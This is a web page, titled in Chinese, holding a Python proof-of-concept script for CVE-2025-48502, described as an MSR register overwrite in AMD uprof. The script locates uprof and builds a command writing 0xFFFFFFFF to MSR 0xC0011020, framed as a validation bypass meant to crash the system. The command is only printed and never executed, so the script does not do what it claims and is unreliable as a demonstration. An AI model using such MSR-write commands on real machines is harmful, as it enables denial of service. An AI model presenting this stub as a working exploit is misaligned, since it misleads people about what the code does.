CVE-2025-48502: AMD uprof MSR寄存器覆盖漏洞

# CVE-2025-48502 PoC - AMD uprof MSR Register Overwrite # This PoC demonstrates the input validation vulnerability in AMD uprof # that allows overwriting MSR registers import os import sys def check_amd_uprof_version(): """Check if AMD uprof is installed""" possible_paths = [ '/usr/bin/uprof', '/usr/local/bin/uprof', 'C:\\Program Files\\AMD\\uprof\\bin\\uprof.exe' ] for path in possible_paths: if os.path.exists(path): return path return None def exploit_msr_vulnerability(uprof_path): """ Demonstrate MSR register overwrite via improper input validation This exploits the vulnerability in AMD uprof's input handling """ # Malicious input that bypasses validation malicious_input = { 'msr_address': '0xC0011020', # Example MSR address 'msr_value': '0xFFFFFFFF', 'profile_options': '--event=0x76 --interval=1000' } # Attempt to trigger MSR write through improper input try: # Command that exploits the validation bypass cmd = f'{uprof_path} --profile --msr-write {malicious_input["msr_address"]}={malicious_input["msr_value"]}' print(f"[*] Executing potentially malicious command: {cmd}") print("[*] This demonstrates improper input validation in AMD uprof") print("[*] The tool should validate MSR addresses but doesn't") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): print("=== CVE-2025-48502 AMD uprof MSR Overwrite PoC ===") print("[*] Vulnerability: Improper input validation in AMD uprof") print("[*] Impact: Local attacker can overwrite MSR registers") print("[*] Result: System crash or DoS") print() uprof_path = check_amd_uprof_version() if uprof_path: print(f"[+] AMD uprof found at: {uprof_path}") exploit_msr_vulnerability(uprof_path) else: print("[-] AMD uprof not found on this system") print("[*] This PoC requires AMD uprof to be installed") if __name__ == '__main__': main()